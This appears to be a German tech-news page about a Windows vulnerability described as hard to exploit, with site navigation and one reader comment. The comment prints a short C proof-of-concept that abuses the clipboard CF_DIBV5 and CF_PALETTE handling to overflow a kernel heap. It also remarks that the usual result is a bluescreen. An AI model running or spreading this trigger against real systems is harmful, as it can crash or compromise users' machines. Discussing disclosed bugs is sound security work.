Neuer Windows-Fehler lässt sich schwer ausnutzen

Diese Nachricht vollständig anzeigen.
Kommentar abgeben
Netiquette beachten!
Beliebte Downloads
Video-Empfehlungen
Beliebt im Preisvergleich
- Sicherheit & Backup:
Neue Nachrichten
Beliebte Nachrichten
❤ WinFuture unterstützen
Sie wollen online einkaufen?
Dann nutzen Sie bitte einen der folgenden Links,
um WinFuture zu unterstützen:
Vielen Dank!
dm.dmSize = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);
BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0×200;
HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);
OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();
OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);
der Code ist überall verfügbar. Es ist trotzdem schwer das Teil auszunutzen, weil man den Teil des Heaps kennen muss, der einen Funktionsaufruf nutzt. Das ist nicht vorhersehbar. Vorher gibts eher nen Bluescreen, als das Code ausgeführt wird.
Siehe der jährliche Hacking-Contest in Las Vegas